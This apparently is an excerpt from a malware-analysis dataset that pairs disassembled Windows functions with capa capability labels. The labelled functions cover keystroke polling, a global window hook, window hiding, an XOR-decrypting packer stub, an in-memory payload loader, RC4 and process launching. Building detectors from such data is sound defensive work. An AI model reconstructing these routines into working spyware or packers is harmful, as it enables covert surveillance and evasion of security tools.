joyce8/EMBER2024-capa huggingface dataset:
Function at 0x447034
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x46ecd0]
cmp byte [eax + 0xc], 0
je 0x4471a1
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44719a
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x46fb68], 0
jne 0x447088
push 0x4471a8
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x4471b0
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46fb68], eax
cmp dword [0x46dcb0], 0
jne 0x447183
push 0x4471c0
call sub.kernel32.dll_LoadLibraryA
mov dword [0x46dcb0], eax
cmp dword [0x46dcb0], 0
je 0x447183
push 0x4471cc
mov eax, dword [0x46dcb0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46fb6c], eax
push 0x4471dc
mov eax, dword [0x46dcb0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46fb70], eax
push 0x4471f0
mov eax, dword [0x46dcb0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46fb74], eax
push 0x447208
mov eax, dword [0x46dcb0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46fb78], eax
push 0x447220
mov eax, dword [0x46dcb0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46fb7c], eax
push 0x447234
mov eax, dword [0x46dcb0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46fb80], eax
push 0x44724c
mov eax, dword [0x46dcb0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46fb84], eax
push 0x447264
mov eax, dword [0x46dcb0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46fb88], eax
push 0x447280
mov eax, dword [0x46dcb0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46fb8c], eax
push 0x44728c
mov eax, dword [0x46dcb0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x46fb90], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4471a1
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x44b02c
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00403f5c
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x44b07b
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.004041cc
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x452860
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x4528b0]
test si, 4
je 0x452874
or bl, 1
test si, 8
je 0x45287e
or bl, 4
test si, 1
je 0x452888
or bl, 8
test si, 2
je 0x452892
or bl, 0x10
test si, 0x10
je 0x45289c
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4528ab
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x4528b4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x4528ec]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4528cd
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4528dc
or bl, 4
test esi, 0x20000000
je 0x4528e7
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x458f94
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x458fa6
add esp, 0xfffffff0
call fcn.00403530
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041fcd0
mov eax, dword [0x46e7fc]
mov dword [eax + 4], ebx
mov dword [eax], 0x459338
mov eax, dword [0x46e80c]
mov dword [eax + 4], ebx
mov dword [eax], 0x459344
mov eax, ebx
call fcn.00459350
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x417fc8]
call fcn.004031dc
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x417fc8]
call fcn.004031dc
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x417fc8]
call fcn.004031dc
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x417fc8]
call fcn.004031dc
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x417fc8]
call fcn.004031dc
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x45576c
push eax
push 0
push 0
mov eax, dword [0x46ea08]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x42172c]
call fcn.00422e68
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x42172c]
call fcn.00422e68
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x42172c]
call fcn.00422e68
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00459770
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45964c
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45964c
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45964c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4590e3
call fcn.00403588
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x459430
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4595db
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x4595bc
mov dl, 1
mov eax, dword [0x4183e4]
call fcn.004031dc
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00403f5c
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x4595ab
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00447394
test al, al
je 0x45959e
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x4595ec
lea eax, [ebp - 0x254]
call fcn.0040903c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x45959e
xor eax, eax
push ebp
push 0x459597
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x459624
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x459580
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004041cc
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x459580
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004041cc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45959e
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x4594a1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.0041bec0
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4595e2
lea eax, [ebp - 0x260]
call fcn.00403f5c
ret

Function at 0x459f10
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x46fbb4]
cmp byte [eax + 0xa5], 0
jne 0x459f81
cmp dword [0x46fbcc], 0
jne 0x459f42
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x459ecc
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x46fbcc], eax
cmp dword [0x46fbc8], 0
jne 0x459f5d
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x46fbc8], eax
cmp dword [0x46fbd0], 0
jne 0x459f81
push esp
push 0
push 0
push 0x459e70
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x46fbd0], eax
pop edx
ret
Function at 0x45a078
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x45a08f
add esp, 0xfffffff0
call fcn.00403530
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041fcd0
mov eax, dword [0x46e9ec]
cmp word [eax + 2], 0
jne 0x45a0b7
mov eax, dword [0x46e9ec]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045b7f8
mov eax, dword [0x46eaec]
cmp word [eax + 2], 0
jne 0x45a0d1
mov eax, dword [0x46eaec]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045b9f0
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x417fc8]
call fcn.004031dc
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x417fc8]
call fcn.004031dc
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x4221d4]
call fcn.00429b5c
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x45a258
mov eax, dword [0x46e89c]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00429f2c
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x45bf90
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x46e89c]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c8ac
test eax, eax
je 0x45a1c6
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408a30
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c8d4
test eax, eax
je 0x45a1da
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004041cc
mov eax, dword [0x46e6d4]
cmp byte [eax], 0
jne 0x45a20e
mov eax, ebx
call fcn.0045a380
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0045c16c
mov eax, ebx
call fcn.0045cb30
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45a24e
call fcn.00403588
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45a600
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x46fbb4]
cmp dword [eax + 0x30], 0
je 0x45a6aa
cmp dword [ebx + 0x94], 0
jne 0x45a6a4
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45a590
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45a6a4
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45a66a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45a6a4
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041a330
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45a679
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45b20c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x45b241
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.0040404c
jmp 0x45b24e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403fb0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45c348
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45c389
mov eax, esi
call fcn.0044297c
test al, al
je 0x45c389
mov eax, dword [ebx + 0x84]
call fcn.00442678
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45c389
push 0
mov eax, dword [ebx + 0x84]
call fcn.00442678
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x401c66
pop dword [ebp - 0x28]
mov eax, 0x3a9153c1
add eax, 0xc5aec8a5
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x632f28cb
add dword [ebp - 0x38], 0xeb231c80
mov dword [ebp - 0x34], 0xfae18086
sub dword [ebp - 0x34], 0xc8ae3441
mov dword [ebp - 0x30], 0x751fdc16
sub dword [ebp - 0x30], 0x28d397e8
mov dword [ebp - 0x2c], 0xf6bc9564
add dword [ebp - 0x2c], 0x9436a9c
lea eax, [ebp - 0x38]
push eax
mov eax, 0x86abda09
add eax, 0x7994564b
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x3ec62cd5
add dword [ebp - 0x38], 0x35ac3c81
mov dword [ebp - 0x34], 0x1f18a839
sub dword [ebp - 0x34], 0xddac46c4
mov dword [ebp - 0x30], 0xc5ea9bd5
add dword [ebp - 0x30], 0x9d84d097
mov dword [ebp - 0x2c], 0xed8003a9
add dword [ebp - 0x2c], 0x127ffc57
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x374ce
push 0
call eax
mov ecx, 0xc49d1a0f
add ecx, 0x3b633138
xor esi, esi
add esi, eax
mov edi, 0xb789557e
add edi, 0x48b71a82
add edi, dword [ebp - 0x28]
mov ebx, 0x80c3e2e
sub dword [ebp - 0x1c], ecx
mov edx, dword [edi]
xor dword [ebp - 0x1c], ecx
sub edx, ebx
mov dword [esi], edx
add dword [ebp - 0x20], esi
add esi, 0xb1d0ee1a
add esi, 0x4e2f11ea
add edi, 0x77c89bb7
sub edi, 0x77c89bb3
loop 0x401d7f
add eax, 0x11fef
xor ebx, ebx
add ebx, eax
add eax, 0xb408ede1
sub eax, 0xb408eddc
mov ecx, 0xe6983850
sub ecx, 0xe6583850
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40915c
nop
mov ecx, 0x2d5d75e7
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0xb481217
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x4901b0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x555b8b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00549f51
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x490232
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00547b70
mov eax, dword [eax]
push 0x7fdd20
push eax
call fcn.00536034
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0054a1dc
test bl, bl
je 0x490232
push 0x7fdd20
lea ecx, [esp + 0xc]
call fcn.0054a56c
push 0x7fdd2c
lea ecx, [esp + 0xc]
call fcn.0054a56c
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x49026e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0054a1dc
jmp 0x490339
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4902f2
lea edx, [esp + 0x7c]
push 0x7fdd28
push edx
call fcn.00536034
add esp, 8
test eax, eax
je 0x4902f2
lea eax, [esp + 0x7c]
push 0x7fdd24
push eax
call fcn.00536034
add esp, 8
test eax, eax
je 0x4902f2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x490282
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0054a1dc
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4915a0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x491602
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x491610
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x555ceb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x8bcd38]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x491748
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x491676
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0054a1dc
xor eax, eax
jmp 0x4917bf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0054a319
push esi
lea ecx, [esp + 0xc]
call fcn.0054a5a8
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x7fdd70
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x49179d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.004915a0
test eax, eax
jne 0x49179d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.004915a0
test eax, eax
jne 0x49179d
lea eax, [esp + 0x14]
push 0x7fdd4c
push eax
call fcn.00537270
mov esi, eax
add esp, 8
test esi, esi
jne 0x49177c
lea ecx, [esp + 0x14]
push 0x7fdd48
push ecx
call fcn.005371f0
mov esi, eax
add esp, 8
test esi, esi
jne 0x49177c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x49177f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0054a2c9
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x49168e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0054a1dc
xor eax, eax
jmp 0x4917bf
mov byte [esi], 0
push 0x7fdd44
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0054a1dc
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4a5200
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x4a526e
cmp si, 0x69
ja 0x4a526e
add esi, 0xffd0
cmp si, 0x11
je 0x4a523e
push 0x11
call edi
test ax, ax
jge 0x4a523e
or esi, 0x2000
cmp si, 0x10
je 0x4a5253
push 0x10
call edi
test ax, ax
jge 0x4a5253
or esi, 0x4000
cmp si, 0x12
je 0x4a5268
push 0x12
call edi
test ax, ax
jge 0x4a5268
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x4a527b
mov esi, 0xbd
jmp 0x4a522f
cmp si, 0x6e
jne 0x4a5288
mov esi, 0xbe
jmp 0x4a522f
cmp si, 0x6f
jne 0x4a5229
mov esi, 0xbf
jmp 0x4a522f

Function at 0x4a7130
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x8cdee0]
xor edx, edx
cmp eax, edx
jne 0x4a7156
xor eax, eax
mov byte [eax + 0x8cdde0], al
inc eax
cmp eax, 0x100
jl 0x4a713e
mov dword [0x8cdee0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x8cdde0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4a71e7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4a71ba
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4a7188
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4a7260
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4a72b3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4a729a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret